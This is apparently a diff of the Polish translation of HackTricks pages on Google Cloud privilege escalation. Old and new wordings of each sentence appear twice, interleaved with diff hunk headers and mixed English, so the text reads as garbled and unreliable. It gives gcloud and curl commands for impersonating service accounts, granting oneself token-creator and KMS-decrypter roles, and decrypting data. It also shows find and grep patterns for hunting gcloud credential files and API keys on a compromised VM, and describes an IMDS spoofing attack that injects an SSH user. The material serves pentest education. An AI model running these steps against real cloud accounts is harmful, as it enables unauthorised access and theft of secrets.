Zauważ, że zgodnie z [**dokumentacją**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko w celu wygenerowania tokena za pomocą metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Oto jak uzyskać token, używając API bezpośrednio:
Zwróć uwa, że zgodnie z [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacja `gcloud` działa tylko do wygenerowania tokenu przy użyciu metody [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Poniżej pokazano, jak uzyskać token, używając bezpośrednio API:
<details><summary>Generowanie tokenu dostępu z delegacją przy użyciu API</summary>
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,23 +70,27 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt Pythona do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać dowolne ładunki w GCP**. Będzie więc możliwe **utworzenie niesigned JWT SA, a następnie wysłanie go jako blob, aby uzyskać podpisany JWT** przez docelowego SA. Po więcej informacji [**przeczytaj to**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać dowolne payloads w GCP**. W efekcie będzie możliwe **utworzenie niepodpisanego JWT dla SA, a następnie wysłanie go jako blob, aby uzyskać podpis JWT** przez docelowe SA. Aby uzyskać więcej informacji [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt Pythona do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać poprawnie sformowane tokeny JWT (JSON Web Tokens)**. Różnica w porównaniu do poprzedniej metody polega na tym, że **zamiast sprawiać, że Google podpisuje blob zawierający JWT, używamy metody signJWT, która już oczekuje JWT**. Ułatwia to użycie, ale można podpisać tylko JWT, a nie dowolne bajty.
Atakujący z wymienionymi uprawnieniami będzie mógł **podpisywać prawidłowo sformatowane JSON web tokens (JWTs)**. Różnica w stosunku do poprzedniej metody polega na tym, że **zamiast zmuszać google do podpisania bloba zawierającego JWT, używamy metody signJWT, która oczekuje już JWT**. To ułatwia użycie, ale pozwala podpisać tylko JWT zamiast dowolnych bajtów.
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt Pythona do nadużywania tego uprawnienia [**tutaj**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Po więcej informacji sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) oraz skrypt w pythonie do nadużycia tego uprawnienia [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Po więcej informacji sprawdź [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Atakujący z wymienionymi uprawnieniami będzie mógł **dodawać polityki IAM do kont serwisowych**. Możesz to nadużyć, aby **przyznać sobie** uprawnienia, których potrzebujesz do podszywania się pod konto serwisowe. W następującym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
Atakujący z wymienionymi uprawnieniami będzie mógł **dodać polityki IAM do kont usługowych**. Można to wykorzystać, aby **przyznać sobie** uprawnienia potrzebne do podszycia się pod konto usługi. W poniższym przykładzie przyznajemy sobie rolę `roles/iam.serviceAccountTokenCreator` nad interesującym SA:
<details><summary>Dodaj wiązanie polityki IAM do konta usługowego</summary>
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -83,47 +101,57 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole z AWS**. Jest kluczowe do wykonywania zadań, takich jak uruchamianie instancji Compute Engine, ponieważ umożliwia "działanie jako" konto usługi, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nieuzasadniony dostęp. Dodatkowo, eksploatacja **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole** z AWS. Jest niezbędne do wykonywania zadań, takich jak uruchamianie instancji Compute Engine, ponieważ daje możliwość "actAs" Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nadmierny dostęp. Dodatkowo wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
#### Impersonacja konta usługi <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Impersonacja Service Account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Impersonacja konta usługi może być bardzo przydatna do **uzyskania nowych i lepszych uprawnień**. Istnieją trzy sposoby, w jakie możesz [impersonować inne konto usługi](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Podszywanie się pod Service Account może być bardzo przydatne do uzyskania nowych i lepszych uprawnień. Istnieją trzy sposoby, w których możesz podszyć się pod inny Service Account:
- Uwierzytelnianie **za pomocą kluczy prywatnych RSA** (omówione powyżej)
- Autoryzacja **za pomocą polityk Cloud IAM** (omówione tutaj)
- **Wdrażanie zadań w usługach GCP** (bardziej stosowane w przypadku kompromitacji konta użytkownika)
- Uwierzytelnianie **using RSA private keys** (omówione powyżej)
- Autoryzacja **using Cloud IAM policies** (omówione tutaj)
- **Deploying jobs on GCP services** (bardziej stosowne przy kompromitacji konta użytkownika)
### `iam.serviceAccounts.getOpenIdToken`
Atakujący z wymienionymi uprawnieniami będzie w stanie wygenerować token OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie niosą ze sobą jakąkolwiek domyślną autoryzację wobec zasobu.
Atakujący mający wymienione uprawnienia będzie w stanie wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie niosą ze sobą uprawnienia do zasobu.
Zgodnie z tym [**interesującym postem**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), konieczne jest wskazanie odbiorcy (usługi, do której chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez Google, wskazujący konto usługi i odbiorcę JWT.
Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), trzeba wskazać audience (serwis, w którym chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez google, wskazujący service account oraz audience tokena.
Możesz wygenerować OpenIDToken (jeśli masz dostęp) za pomocą:
<details><summary>Generowanie tokena OpenID dla service account</summary>
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Możesz go po prostu użyć do uzyskania dostępu do usługi za pomocą:
</details>
Następnie możesz po prostu użyć go, aby uzyskać dostęp do usługi za pomocą:
<details><summary>Użyj tokena OpenID do uwierzytelnienia</summary>
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego rodzaju tokenów, to:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (jeśli używasz Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
Możesz znaleźć przykład, jak utworzyć token OpenID w imieniu konta usługi [**tutaj**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Odniesienia
## Referencje
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -10,11 +10,13 @@ Informacje o KMS:
../gcp-services/gcp-kms-enum.md
{{#endref}}
Zauważ, że w KMS **uprawnienia** nie są tylko **dziedziczone** z Organizacji, Folderów i Projektów, ale także z **Keyringów**.
Zauważ, że w KMS **uprawnienia** nie tylko **dziedziczone** z Orgs, Folders i Projects, ale także z **Keyrings**.
### `cloudkms.cryptoKeyVersions.useToDecrypt`
Możesz użyć tego uprawnienia do **deszyfrowania informacji za pomocą klucza**, nad którym masz to uprawnienie.
Możesz użyć tego uprawnienia, aby **odszyfrować dane przy użyciu klucza**, dla którego posiadasz to uprawnienie.
<details><summary>Odszyfrowanie danych przy użyciu klucza KMS</summary>
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -24,9 +26,13 @@ gcloud kms decrypt \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
</details>
### `cloudkms.cryptoKeys.setIamPolicy`
Napastnik z tym uprawnieniem mógłby **przyznać sobie uprawnienia** do używania klucza do odszyfrowania informacji.
Atakujący z tym uprawnieniem mógłby **przyznać sobie uprawnienia** do używania klucza w celu odszyfrowania informacji.
<details><summary>Przyznaj sobie rolę decryptera KMS</summary>
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
</details>
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
Oto koncepcyjne wyjaśnienie, jak działa ta delegacja:
Poniżej koncepcyjne wyjaśnienie, jak działa ta delegacja:
1. **Konto usługi A** ma bezpośredni dostęp do deszyfrowania za pomocą konkretnego klucza w KMS.
2. **Konto usługi B** otrzymuje uprawnienie `useToDecryptViaDelegation`. Umożliwia to żądanie KMS deszyfrowania danych w imieniu Konta usługi A.
1. **Service Account A** ma bezpośredni dostęp do odszyfrowywania przy użyciu konkretnego klucza w KMS.
2. **Service Account B** otrzymuje uprawnienie `useToDecryptViaDelegation`. Pozwala mu to zażądać od KMS odszyfrowania danych w imieniu Service Account A.
Użycie tego **uprawnienia jest implicitne w sposobie, w jaki usługa KMS sprawdza uprawnienia** podczas składania żądania deszyfrowania.
Użycie tego **uprawnienia jest implicite w sposobie, w jaki usługa KMS weryfikuje uprawnienia**, gdy wykonywane jest żądanie odszyfrowania.
Gdy składasz standardowe żądanie deszyfrowania za pomocą interfejsu API Google Cloud KMS (w Pythonie lub innym języku), usługa **sprawdza, czy konto usługi składające żądanie ma niezbędne uprawnienia**. Jeśli żądanie jest składane przez konto usługi z uprawnieniem **`useToDecryptViaDelegation`**, KMS weryfikuje, czy to **konto ma prawo żądać deszyfrowania w imieniu podmiotu, który jest właścicielem klucza**.
Gdy wykonujesz standardowe żądanie odszyfrowania za pomocą Google Cloud KMS API (w Pythonie lub innym języku), usługa **sprawdza, czy wysyłające żądanie service account ma wymagane uprawnienia**. Jeśli żądanie pochodzi od service account z uprawnieniem **`useToDecryptViaDelegation`**, KMS weryfikuje, czy to **konto ma prawo żądać odszyfrowania w imieniu podmiotu, który jest właścicielem klucza**.
#### Przygotowanie do Delegacji
#### Konfiguracja delegacji
1. **Zdefiniuj niestandardową rolę**: Utwórz plik YAML (np. `custom_role.yaml`), który definiuje niestandardową rolę. Plik ten powinien zawierać uprawnienie `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Oto przykład, jak może wyglądać ten plik:
1. **Zdefiniuj niestandardową rolę**: Utwórz plik YAML (np. `custom_role.yaml`), który definiuje niestandardową rolę. Plik ten powinien zawierać uprawnienie `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Oto przykład, jak może wyglądać taki plik:
<details><summary>Definicja niestandardowej roli YAML</summary>
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -55,13 +65,21 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
2. **Utwórz niestandardową rolę za pomocą gcloud CLI**: Użyj następującego polecenia, aby utworzyć niestandardową rolę w swoim projekcie Google Cloud:
</details>
2. **Utwórz niestandardową rolę przy użyciu gcloud CLI**: Użyj następującego polecenia, aby utworzyć niestandardową rolę w swoim projekcie Google Cloud:
<details><summary>Utwórz niestandardową rolę KMS</summary>
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
Zastąp `[YOUR_PROJECT_ID]` swoim identyfikatorem projektu Google Cloud.
Zastąp `[YOUR_PROJECT_ID]` identyfikatorem projektu Google Cloud.
3. **Przyznaj niestandardową rolę kontu usługi**: Przypisz swoją niestandardową rolę do konta usługi, które będzie korzystać z tego uprawnienia. Użyj następującego polecenia:
</details>
3. **Przypisz niestandardową rolę do konta usługi**: Przypisz swoją niestandardową rolę do konta usługi, które będzie korzystać z tego uprawnienia. Użyj następującego polecenia:
<details><summary>Przypisz niestandardową rolę do konta usługi</summary>
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
Zastąp `[YOUR_PROJECT_ID]` i `[SERVICE_ACCOUNT_EMAIL]` odpowiednio identyfikatorem swojego projektu i adresem e-mail konta usługi.
Zastąp [YOUR_PROJECT_ID] i [SERVICE_ACCOUNT_EMAIL] odpowiednio identyfikatorem projektu i adresem e-mail konta usługi.
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,40 +1,40 @@
# GCP - lokalne eskalowanie uprawnień ssh pivoting
# GCP - local privilege escalation ssh pivoting
{{#include ../../../banners/hacktricks-training.md}}
w tym scenariuszu zakładamy, że **skomprowałeś konto bez uprawnień** wewnątrz VM w projekcie Compute Engine.
w tym scenariuszu załóżmy, że **skompromitowałeś konto bez uprawnień** wewnątrz VM w projekcie Compute Engine.
Zadziwiająco, uprawnienia GPC silnika obliczeniowego, który skompromitowałeś, mogą pomóc ci **eskalować uprawnienia lokalnie wewnątrz maszyny**. Nawet jeśli nie zawsze będzie to bardzo pomocne w środowisku chmurowym, dobrze wiedzieć, że jest to możliwe.
Zadziwiająco, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Nawet jeśli nie zawsze będzie to bardzo przydatne w środowisku cloud, dobrze wiedzieć, że jest to możliwe.
## Przeczytaj skrypty <a href="#follow-the-scripts" id="follow-the-scripts"></a>
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
**Instancje obliczeniowe** prawdopodobnie są tam, aby **wykonywać niektóre skrypty** w celu realizacji działań z ich kontami serwisowymi.
**Compute Instances** prawdopodobnie są tam po to, by **execute some scripts** wykonywać akcje używając swoich service accounts.
Ponieważ IAM jest bardzo szczegółowy, konto może mieć **uprawnienia do odczytu/zapisu** nad zasobem, ale **brak uprawnień do listowania**.
Ponieważ IAM jest bardzo granularne, konto może mieć uprawnienia **read/write** do zasobu, ale **no list privileges**.
Świetnym hipotetycznym przykładem jest instancja obliczeniowa, która ma uprawnienia do odczytu/zapisu kopii zapasowych do koszyka pamięci o nazwie `instance82736-long-term-xyz-archive-0332893`.
Świetnym hipotetycznym przykładem jest Compute Instance, które ma permission do read/write backupów w storage bucket o nazwie `instance82736-long-term-xyz-archive-0332893`.
Uruchomienie `gsutil ls` z wiersza poleceń nie zwraca nic, ponieważ konto serwisowe nie ma uprawnienia IAM `storage.buckets.list`. Jednak jeśli uruchomisz `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, możesz znaleźć kompletną kopię zapasową systemu plików, dając ci dostęp w postaci czystego tekstu do danych, do których twoje lokalne konto Linux nie ma dostępu.
Uruchomienie `gsutil ls` z linii poleceń nic nie zwróci, ponieważ service account nie posiada IAM permission `storage.buckets.list`. Jednak jeśli uruchomisz `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` możesz znaleźć kompletną kopię systemu plików, dając dostęp w clear-text do danych, do których twoje lokalne konto Linux nie ma dostępu.
Możesz być w stanie znaleźć tę nazwę koszyka w skrypcie (w bash, Python, Ruby...).
Możesz znaleźć tę nazwę bucketu wewnątrz skryptu (w bash, Python, Ruby...).
## Niestandardowe metadane
## Custom Metadata
Administratorzy mogą dodawać [niestandardowe metadane](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) na **poziomie instancji** i **poziomie projektu**. To po prostu sposób na przekazywanie **dowolnych par klucz/wartość do instancji**, i jest powszechnie używane do zmiennych środowiskowych oraz skryptów uruchamiania/zamykania.
Administratorzy mogą dodać [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) na poziomie **instance** i **project level**. To po prostu sposób na przekazanie **dowolnych par klucz/wartość do instancji**, i jest powszechnie używane do zmiennych środowiskowych oraz startup/shutdown scripts.
Co więcej, możliwe jest dodanie **userdata**, czyli skryptu, który będzie **wykonywany za każdym razem**, gdy maszyna jest uruchamiana lub restartowana i który może być **również dostępny z punktu końcowego metadanych.**
Co więcej, możliwe jest dodanie **userdata**, czyli skryptu, który będzie **executed everytime** maszyna jest uruchamiana lub restartowana i który może być **accessed from the metadata endpoint also.**
Aby uzyskać więcej informacji, sprawdź:
For more info check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
## **Wykorzystywanie uprawnień IAM**
## **Abusing IAM permissions**
Większość z poniżej proponowanych uprawnień jest **przyznawana domyślnemu SA Compute,** jedynym problemem jest to, że **domyślny zakres dostępu uniemożliwia SA ich użycie**. Jednak jeśli **zakres `cloud-platform`** **jest włączony** lub tylko **zakres `compute`** **jest włączony, będziesz mógł je wykorzystać**.
Większość z poniższych proponowanych uprawnień jest **przypisywana domyślnemu Compute SA,** jedynym problemem jest to, że **domyślny access scope uniemożliwia SA ich użycie**. Jednak jeśli włączony jest **`cloud-platform`** **scope** lub tylko **`compute`** **scope**, będziesz w stanie **abuse them**.
Sprawdź następujące uprawnienia:
Check the following permissions:
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
@@ -42,20 +42,26 @@ Sprawdź następujące uprawnienia:
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
## Szukaj kluczy w systemie plików
## Search for Keys in the filesystem
Sprawdź, czy inni użytkownicy zalogowali się do gcloud wewnątrz maszyny i zostawili swoje dane uwierzytelniające w systemie plików:
Sprawdź, czy inni użytkownicy nie logowali się do gcloud wewnątrz boxa i nie zostawili swoich credentials w systemie plików:
<details><summary>Szukaj gcloud credentials w systemie plików</summary>
```
sudo find / -name "gcloud"
```
To są najciekawsze pliki:
</details>
Oto najbardziej interesujące pliki:
- `~/.config/gcloud/credentials.db`
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
### Więcej wyrażeń regularnych dla kluczy API
### Więcej API Keys regexes
<details><summary>Wzorce grep dla GCP credentials and keys</summary>
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
```
## Odniesienia
</details>
## Źródła
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
@@ -2,47 +2,62 @@
{{#include ../../../banners/hacktricks-training.md}}
## Initial State
## Stan początkowy
W obu opisach, w których ta technika jest określona, atakujący uzyskali dostęp do **root** wewnątrz kontenera **Docker** zarządzanego przez GCP z dostępem do sieci hosta (oraz z uprawnieniami **`CAP_NET_ADMIN`** i **`CAP_NET_RAW`**).
W obu opisach, w których ta technika została użyta, atakującym udało się uzyskać dostęp **root** wewnątrz kontenera **Docker** zarządzanego przez GCP z dostępem do sieci hosta (oraz z uprawnieniami **`CAP_NET_ADMIN`** i **`CAP_NET_RAW`**).
## Attack Explanation
## Wyjaśnienie ataku
Na instancji Google Compute Engine regularna inspekcja ruchu sieciowego ujawnia liczne **zwykłe żądania HTTP** do **metadanych instancji** pod adresem `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), usługa open-source, często wysyła takie żądania.
Na instancji Google Compute Engine regularna inspekcja ruchu sieciowego ujawnia liczne **zwykłe żądania HTTP** do **instancji metadanych** pod adresem `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), usługa open-source, często wykonuje takie żądania.
Ten agent jest zaprojektowany do **monitorowania zmian w metadanych**. W szczególności metadane zawierają **pole dla kluczy publicznych SSH**. Gdy nowy publiczny klucz SSH zostaje dodany do metadanych, agent automatycznie **autoryzuje** go w pliku `.authorized_key`. Może również **utworzyć nowego użytkownika** i dodać go do **sudoers**, jeśli zajdzie taka potrzeba.
Agent zaprojektowano do **monitorowania zmian w metadanych**. Warto zauważyć, że metadane zawierają **pole na publiczne klucze SSH**. Gdy nowy publiczny klucz SSH zostanie dodany do metadanych, agent automatycznie go **autoryzuje** w pliku `.authorized_key`. Może również **utworzyć nowego użytkownika** i dodać go do **sudoers**, jeśli to konieczne.
Agent monitoruje zmiany, wysyłając żądanie do **pobrania wszystkich wartości metadanych rekurencyjnie** (`GET /computeMetadata/v1/?recursive=true`). To żądanie ma na celu skłonienie serwera metadanych do wysłania odpowiedzi tylko wtedy, gdy nastąpiła jakakolwiek zmiana w metadanych od ostatniego pobrania, identyfikowana przez Etag (`wait_for_change=true&last_etag=`). Dodatkowo, zawarty jest parametr **timeout** (`timeout_sec=`). Jeśli w określonym czasie nie nastąpi zmiana, serwer odpowiada **niezmienionymi wartościami**.
Agent monitoruje zmiany wysyłając żądanie w celu **pobrania wszystkich wartości metadanych rekurencyjnie** (`GET /computeMetadata/v1/?recursive=true`). To żądanie ma na celu skłonienie serwera metadanych do wysłania odpowiedzi tylko wtedy, gdy od ostatniego pobrania zaszła jakaś zmiana w metadanych, identyfikowana przez Etag (`wait_for_change=true&last_etag=`). Dodatkowo uwzględniany jest parametr **timeout** (`timeout_sec=`). Jeśli w określonym czasie nie nastąpi żadna zmiana, serwer odpowiada **niezmienionymi wartościami**.
Ten proces pozwala **IMDS** (Instance Metadata Service) odpowiedzieć po **60 sekundach**, jeśli nie wystąpiła zmiana konfiguracji, tworząc potencjalne **okno do wstrzyknięcia fałszywej odpowiedzi konfiguracyjnej** do agenta gościa.
Ten proces pozwala **IMDS** (Instance Metadata Service) odpowiedzieć po **60 sekundach**, jeśli nie nastąpiła żadna zmiana konfiguracji, tworząc potencjalne **okienko do wstrzyknięcia fałszywej odpowiedzi konfiguracyjnej** do guest agenta.
Atakujący mógłby to wykorzystać, przeprowadzając **atak Man-in-the-Middle (MitM)**, fałszując odpowiedź z serwera IMDS i **wstawiając nowy klucz publiczny**. To mogłoby umożliwić nieautoryzowany dostęp SSH do hosta.
Atakujący mógłby to wykorzystać, przeprowadzając **Man-in-the-Middle (MitM) attack**, podszywając się pod odpowiedź serwera IMDS i **wstawiając nowy klucz publiczny**. Mogłoby to umożliwić nieautoryzowany dostęp SSH do hosta.
### Escape Technique
### Technika ucieczki
Podczas gdy spoofing ARP jest nieskuteczny w sieciach Google Compute Engine, [**zmodyfikowana wersja rshijack**](https://github.com/ezequielpereira/rshijack) opracowana przez [**Ezequiela**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) może być użyta do wstrzykiwania pakietów w komunikacji, aby wstrzyknąć użytkownika SSH.
Chociaż ARP spoofing jest nieskuteczny w sieciach Google Compute Engine, [**zmodyfikowana wersja rshijack**](https://github.com/ezequielpereira/rshijack) opracowana przez [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) może być użyta do wstrzyknięcia pakietów w komunikacji w celu wstawienia użytkownika SSH.
Ta wersja rshijack pozwala na wprowadzenie numerów ACK i SEQ jako argumentów wiersza poleceń, co ułatwia fałszowanie odpowiedzi przed rzeczywistą odpowiedzią serwera metadanych. Dodatkowo, używany jest [**mały skrypt Shell**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh), aby zwróc **specjalnie przygotowany ładunek**. Ten ładunek wyzwala Google Guest Agent do **utworzenia użytkownika `wouter`** z określonym kluczem publicznym w pliku `.authorized_keys`.
